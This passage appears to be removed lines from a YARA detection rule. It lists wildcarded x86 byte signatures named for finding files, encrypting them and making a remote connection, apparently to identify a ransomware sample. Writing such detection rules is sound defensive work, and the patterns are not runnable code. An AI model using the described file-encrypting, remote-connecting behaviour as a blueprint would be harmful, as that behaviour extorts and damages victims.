-            ?? ?? ?? 8B 45 ?? 8B 7D ?? 83 EC ?? 8B 00 8B 57 ?? 8D 8D ?? ?? ?? ?? 8D 14 50 C6 44
-            24 ?? ?? 89 04 24 89 8D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 54 24 ?? E8 ?? ?? ?? ?? 83
-            EC ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 2B 95 ?? ?? ?? ?? 39 D0 0F
-            87 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? 83 EC ?? 8D 8D ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ??
-            8B 85 ?? ?? ?? ?? 83 EC ?? 39 F8 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B 7D ?? 8D
-        }
-		$find_files_p2 = {
-            9D ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 89 D9 8B 00 C6 44 24 ?? ?? 8B 57 ?? 89 B5 ?? ?? ??
-            ?? 89 04 24 8D 14 50 89 54 24 ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 EC ?? 89 1C 24
-            E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 39 F0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 85
-            ?? ?? ?? ?? 89 5C 24 ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 83 F8 ?? 89 C6 0F 84 ??
-            ?? ?? ?? 8D BD ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 3C 24 E8 ?? ?? ?? ?? 85 C0 74
-            ?? C7 44 24 ?? ?? ?? ?? ?? 89 3C 24 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? F6 85 ?? ??
-            ?? ?? ?? 89 7C 24 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 0F 85 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ??
-            ?? 8D 8D ?? ?? ?? ?? 83 EC ?? 39 C8 74 ?? 89 04 24 E8 ?? ?? ?? ?? EB ?? C7 44 24 ??
-            ?? ?? ?? ?? 89 3C 24 E8 ?? ?? ?? ?? 85 C0 75 ?? 89 5C 24 ?? 89 34 24 FF 15 ?? ?? ??
-            ?? 83 EC ?? 85 C0 75 ?? 89 34 24 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 9D ?? ?? ??
-            ?? 83 EC ?? 39 D8 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C2 ?? ?? 8D 76
-            ?? 8D BC 27 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 3C 24 E8 ?? ?? ?? ?? 85 C0 74
-        }
-		$find_files_p3 = {
-            8B 45 ?? F6 85 ?? ?? ?? ?? ?? 89 7C 24 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 75
-            ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E9 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ??
-            8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 83 EC ?? 39 D0 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? EB ?? 89
-            C3 8B 85 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 39 F0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 85 ??
-            ?? ?? ?? 8D B5 ?? ?? ?? ?? 39 F0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ??
-            ?? EB ?? 89 C3 8B 85 ?? ?? ?? ?? 39 F0 75 ?? EB ?? EB ?? EB ?? 89 C3 EB ?? C7 04 24
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB
-        }
-		$encrypt_files_p1 = {
-            55 89 E5 57 56 53 81 EC ?? ?? ?? ?? 8B 45 ?? 89 8D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
-            ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24
-            ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 00 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 83
-            F8 ?? 89 85 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 89 C6 8D 85 ?? ?? ?? ?? 8D BD ?? ?? ?? ??
-            89 34 24 89 44 24 ?? FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 8B 95 ?? ?? ?? ??
-            89 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 89 34 24 05 ?? ?? ?? ?? 89 85
-            ?? ?? ?? ?? 89 44 24 ?? 83 D2 ?? A1 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 54 24 ?? 89 85
-            ?? ?? ?? ?? FF D0 31 C0 83 EC ?? 83 BD ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 AB 7C ?? 0F
-            8E ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24
-            ?? ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 74 24 ?? 89 04 24 FF 15 ?? ?? ?? ??
-            83 EC ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 85 C0 0F
-            85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 35 ?? ?? ?? ?? 0B 85 ?? ?? ?? ?? 0F 85 ?? ?? ?? ??
-            80 7D ?? ?? 0F 85 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C3 8D 85 ?? ??
-            ?? ?? 89 D9 89 04 24 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 95 ?? ??
-            ?? ?? 83 EC ?? 8B B5 ?? ?? ?? ?? 89 D9 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 85 ??
-            ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 1E 0F A4 C2 ?? C1 E0 ?? 89 95 ?? ?? ?? ?? 89 85 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ??
-            ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D
-        }
-		$encrypt_files_p2 = {
-            85 ?? ?? ?? ?? 89 04 24 8B 0E E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 89 04 24 8B
-            85 ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 44 24
-            ?? 8B 0E E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 EC ?? 89 04 24 89 54
-            24 ?? 8B 0E 8D B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 83 EC ?? 8B 85 ?? ??
-            ?? ?? 85 FF 0F 84 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 95
-            ?? ?? ?? ?? 8D BD ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? 89 44 24 ?? 8B 85
-            ?? ?? ?? ?? 89 54 24 ?? 89 04 24 FF 95 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? C7 04 24 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 89
-            85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ??
-            1B 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 0F AC D0 ?? C1 EA ?? 89 D3 09
-            C3 0F 84 ?? ?? ?? ?? 83 C0 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? 89 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 D2 ?? 89 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ??
-            90 8D B4 26 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 74 24 ?? C7 44
-            24 ?? ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 04 24 FF 95 ?? ?? ?? ?? 8B 8D ??
-            ?? ?? ?? 8B 9D ?? ?? ?? ?? 83 EC ?? 8B 95 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C
-        }
-		$encrypt_files_p3 = {
-            24 ?? 89 0C 24 8B 0A E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 EC ?? 8B
-            9D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? 89 44 24 ?? 89 54 24 ?? 89 1C 24
-            FF 95 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 EC ?? 89 9D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
-            ?? 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 89 4C 24 ?? FF 15 ?? ?? ?? ?? 8B 85
-            ?? ?? ?? ?? 83 EC ?? 8B 95 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 81 85 ?? ?? ?? ?? ?? ?? ??
-            ?? C7 44 24 ?? ?? ?? ?? ?? 83 95 ?? ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 5C
-            24 ?? 89 54 24 ?? 89 04 24 FF 95 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 83
-            EC ?? 81 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 D9 83 95 ?? ?? ?? ?? ?? 8B 02 89 04 24 E8 ??
-            ?? ?? ?? 8B 9D ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 EC ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ??
-            ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D
-            ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 0B 89 85 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 04 24 8B 0B E8 ?? ?? ?? ?? 8B 85 ?? ?? ??
-            ?? 83 EC ?? 89 04 24 8B 85 ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 44 24 ?? 8B
-            85 ?? ?? ?? ?? 89 44 24 ?? 8B 0B E8 ?? ?? ?? ?? 8B 0B 83 EC ?? E8 ?? ?? ?? ?? 8B 9D
-            ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 44 24 ?? ?? ??
-            ?? ?? 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? 89 1C 24 FF 15 ?? ?? ?? ?? 8B
-        }
-		$encrypt_files_p4 = {
-            85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? 89 1C
-            24 89 44 24 ?? 89 54 24 ?? FF 95 ?? ?? ?? ?? 83 EC ?? 83 85 ?? ?? ?? ?? ?? 8B 9D ??
-            ?? ?? ?? 83 95 ?? ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
-            31 CB 31 D0 89 DA 09 C2 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 8B 95
-            ?? ?? ?? ?? 1B 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 8D ?? ?? ?? ??
-            8B 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 74 24 ?? 89 4C 24 ?? 8B 8D ?? ?? ?? ??
-            89 C3 89 44 24 ?? 89 0C 24 FF 95 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 EC ?? 8B 85 ?? ??
-            ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? 8B 95 ?? ?? ?? ?? 89 14 24 8B 08 E8 ?? ??
-            ?? ?? 83 EC ?? 8B 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 7C 24 ?? 8B BD ?? ?? ?? ?? C7
-            44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 89 54 24 ?? 89 3C 24 FF 95 ?? ?? ?? ?? 83 EC ?? 8B
-            95 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 89 5C 24 ?? 8B 1D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
-            ?? 89 74 24 ?? 89 54 24 ?? 89 3C 24 89 9D ?? ?? ?? ?? FF D3 8B 95 ?? ?? ?? ?? 8B 85
-            ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 83 EC ?? B9 ?? ?? ?? ?? C7 85
-        }
-		$encrypt_files_p5 = {
-            89 DF C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F AC D0 ?? C1 EA
-            ?? 01 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 11 95 ?? ?? ?? ?? 31 C0 C7 85 ??
-            ?? ?? ?? ?? ?? ?? ?? F3 AB C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45
-            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? C7 44 24 ?? ??
-            ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 89 54 24 ?? E8 ?? ?? ?? ?? 8B BD ?? ?? ??
-            ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 89 5C 24 ?? C7 04 24 ?? ?? ?? ?? 89 85 ?? ??
-            ?? ?? 89 7C 24 ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 31 C0 F3 AB 8B BD ?? ?? ?? ?? 89 74
-            24 ?? 8D B5 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 74 24 ??
-            89 3C 24 FF 95 ?? ?? ?? ?? 83 EC ?? 89 3C 24 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83
-            EC ?? 8B 18 85 DB 74 ?? 89 D9 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ??
-            ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ??
-            ?? 8D 65 ?? 31 C0 5B 5E 5F 5D C2 ?? ?? 8D BD ?? ?? ?? ?? 31 C0 B9 ?? ?? ?? ?? 8B B5
-            ?? ?? ?? ?? 31 D2 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? F3 AB 8B BD ?? ?? ?? ?? C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? 89 F9 C1 F9 ?? 83 E1 ?? 89 C8 01 F0 11 FA 0F AC D0 ?? C1 FA ?? 83
-        }
-		$encrypt_files_p6 = {
-            C0 ?? 83 D2 ?? 0F A4 C2 ?? C1 E0 ?? 89 95 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 FA 09 F2
-            89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? 8D 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 F7 C6 00 ?? 83 C0 ?? 39 C2 75 ?? 89 BD
-            ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C3 8B 85 ?? ?? ?? ?? 89 D9 89 04
-            24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 89 18 A1 ?? ?? ?? ?? 89 44 24 ?? 8D 85
-            ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 89
-            44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 75 ?? 83 C0
-            ?? 83 EC ?? 8B 56 ?? 39 D0 0F 87 ?? ?? ?? ?? 8B 7D ?? 29 C2 8D B5 ?? ?? ?? ?? 8D 9D
-            ?? ?? ?? ?? 8B 0F C6 44 24 ?? ?? 89 9D ?? ?? ?? ?? 8D 0C 41 8D 04 51 89 0C 24 89 F1
-            89 44 24 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 89 34 24 8D 48 ?? E8 ?? ?? ??
-            ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 39 D8 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B BD ?? ?? ?? ??
-            8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 8B 47 ?? 89 34 24 89 44 24 ?? E8 ?? ?? ?? ?? 8B
-            85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 0F C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ??
-            ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 90 89 34 24 8B
-            0F 83 C6 ?? E8 ?? ?? ?? ?? 83 EC ?? 39 DE 75 ?? 8B BD ?? ?? ?? ?? 8B B5
-        }
-		$encrypt_files_p7 = {
-            8B 0F E8 ?? ?? ?? ?? 8B 07 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ??
-            ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89
-            04 24 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 EC ?? 8B 85 ?? ?? ?? ??
-            8B 9D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 8B 0F 89 95 ?? ?? ?? ?? 89 95
-            ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 04 24 8B 0F E8 ?? ?? ?? ?? 8B 0F 83 EC ?? E8 ??
-            ?? ?? ?? 8B 0F 89 F7 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 95 ?? ??
-            ?? ?? 8B 95 ?? ?? ?? ?? 89 34 24 8D B5 ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? C7
-            44 24 ?? ?? ?? ?? ?? 89 54 24 ?? 89 44 24 ?? FF 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83
-            EC ?? 89 3C 24 C7 44 24 ?? ?? ?? ?? ?? 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24
-            ?? FF 15 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 83 EC ?? 8B 85 ?? ?? ?? ?? 85 FF 0F 85 ?? ??
-            ?? ?? 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 3D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
-            0F 87 ?? ?? ?? ?? 3D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 3D
-            ?? ?? ?? ?? 0F 97 C0 0F B6 C0 89 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 65 ?? B8 ?? ?? ??
-            ?? 5B 5E 5F 5D C2 ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 8D 65
-            ?? B8 ?? ?? ?? ?? 5B 5E 5F 5D C2 ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 FF 15
-        }
-		$encrypt_files_p8 = {
-            83 EC ?? 8D 65 ?? 31 C0 5B 5E 5F 5D C2 ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7
-            04 24 ?? ?? ?? ?? 89 C6 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 04 24 C1 F8 ?? 89 F1 89
-            44 24 ?? 8D B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 EC ?? 89 B5 ?? ?? ??
-            ?? 89 85 ?? ?? ?? ?? 89 C3 A1 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85
-            ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 89
-            04 24 89 54 24 ?? 89 74 24 ?? 89 7C 24 ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B BD ??
-            ?? ?? ?? 89 95 ?? ?? ?? ?? 89 54 24 ?? 89 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89
-            7C 24 ?? 89 44 24 ?? 89 34 24 FF 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 89 5C 24
-            ?? C7 44 24 ?? ?? ?? ?? ?? 83 C3 ?? C7 44 24 ?? ?? ?? ?? ?? 89 34 24 89 44 24 ?? FF
-            95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 EC ?? 39 C3 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
-            C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 76 ?? 81 BD ?? ??
-            ?? ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? E9 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 85 ?? ?? ?? ??
-            E9 ?? ?? ?? ?? 89 54 24 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 89 C6 C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 89 34 24 E8 ??
-            ?? ?? ?? 89 C3 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? EB
-          }
-		$remote_connection_p1 = {
-            55 57 56 53 81 EC ?? ?? ?? ?? 8B 1A 39 18 0F 84 ?? ?? ?? ?? 89 54 24 ?? 89 C6 8D 5C
-            24 ?? F6 05 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 DF 8B 56 ?? 89 54 24
-            ?? 8B 56 ?? 89 54 24 ?? 8B 56 ?? 89 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 89
-            3C 24 E8 ?? ?? ?? ?? 89 3C 24 E8 ?? ?? ?? ?? 01 C7 89 F8 29 D8 BA ?? ?? ?? ?? 89 D5
-            29 C5 F6 05 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 06 89 44 24 ?? 8B 46 ?? 89 44 24 ??
-            C7 44 24 ?? ?? ?? ?? ?? 89 6C 24 ?? 89 3C 24 E8 ?? ?? ?? ?? 89 5C 24 ?? 8B 7C 24 ??
-            8B 07 89 04 24 E8 ?? ?? ?? ?? FF 47 ?? 8B 46 ?? 01 47 ?? 8B 6E ?? 85 ED 0F 84 ?? ??
-            ?? ?? 89 6C 24 ?? 8D 44 24 ?? 89 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E9 ??
-            ?? ?? ?? 8D B6 ?? ?? ?? ?? 8D BC 27 ?? ?? ?? ?? 85 C0 74 ?? C6 03 ?? A8 ?? 0F 85 ??
-            ?? ?? ?? 8B 7D ?? 8B 75 ?? 89 2C 24 E8 ?? ?? ?? ?? 89 7C 24 ?? 89 74 24 ?? 89 44 24
-            ?? C7 44 24 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B 74 24 ?? 29 F0 89 44 24 ?? 8D 04 33 89
-            04 24 E8 ?? ?? ?? ?? 89 DF 8B 17 83 C7 ?? 8D 82 ?? ?? ?? ?? F7 D2 21 D0 25 ?? ?? ??
-            ?? 74 ?? A9 ?? ?? ?? ?? 75 ?? C1 E8 ?? 83 C7 ?? 88 C1 00 C1 83 DF ?? 29 DF 8B 75
-        }
-		$remote_connection_p2 = {
-            89 34 24 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 29 F9 39 C1 0F 8D ?? ?? ?? ?? 8D 04 3B 83 F9
-            ?? 0F 83 ?? ?? ?? ?? 85 C9 74 ?? 8A 16 88 10 F6 C1 ?? 0F 85 ?? ?? ?? ?? BA ?? ?? ??
-            ?? B8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? 01 D8 89 04 24 E8 ?? ?? ?? ??
-            89 5C 24 ?? 8B 44 24 ?? 8B 00 89 04 24 E8 ?? ?? ?? ?? 8B 6D ?? 85 ED 74 ?? 8D 44 24
-            ?? 89 44 24 ?? 89 2C 24 E8 ?? ?? ?? ?? 85 C0 75 ?? FF 44 24 ?? 8B 44 24 ?? 83 F8 ??
-            0F 82 ?? ?? ?? ?? C7 44 03 ?? ?? ?? ?? ?? 8D 48 ?? C1 E9 ?? 89 DF B8 ?? ?? ?? ?? F3
-            AB E9 ?? ?? ?? ?? 8D B6 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 5B 5E 5F 5D C3 90 8D 74 26 ??
-            8D 40 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 10 89 54 24 ?? 8B 50 ?? 89 54 24 ?? 8B 40 ?? 89
-            44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 89
-            DA 8B 0A 83 C2 ?? 8D 81 ?? ?? ?? ?? F7 D1 21 C8 25 ?? ?? ?? ?? 74 ?? A9
-        }
-		$remote_connection_p3 = {
-            75 ?? C1 E8 ?? 83 C2 ?? 88 C1 00 C1 83 DA ?? 29 DA 8D 3C 13 B8 ?? ?? ?? ?? 29 D0 E9
-            ?? ?? ?? ?? 8D B6 ?? ?? ?? ?? 8D BF ?? ?? ?? ?? B8 ?? ?? ?? ?? 29 F8 89 44 24 ?? 89
-            74 24 ?? 01 DF 89 3C 24 E8 ?? ?? ?? ?? 89 D8 8B 08 83 C0 ?? 8D 91 ?? ?? ?? ?? F7 D1
-            21 CA 81 E2 ?? ?? ?? ?? 74 ?? F7 C2 ?? ?? ?? ?? 75 ?? C1 EA ?? 83 C0 ?? 88 D1 00 D1
-            83 D8 ?? 29 D8 BA ?? ?? ?? ?? 29 C2 E9 ?? ?? ?? ?? 8D 74 26 ?? 8D BC 27 ?? ?? ?? ??
-            8B 16 89 10 8B 54 0E ?? 89 54 08 ?? 8D 78 ?? 83 E7 ?? 29 F8 29 C6 01 C1 C1 E9 ?? F3
-            A5 E9 ?? ?? ?? ?? 8D B4 26 ?? ?? ?? ?? 8D BC 27 ?? ?? ?? ?? 89 54 24 ?? 8D 46 ?? 89
-            04 24 E8 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 6C 24 ?? 89 3C 24 E8 ??
-            ?? ?? ?? 89 3C 24 E8 ?? ?? ?? ?? 01 C7 89 F8 29 D8 8B 54 24 ?? 29 C2 89 D5 E9 ?? ??
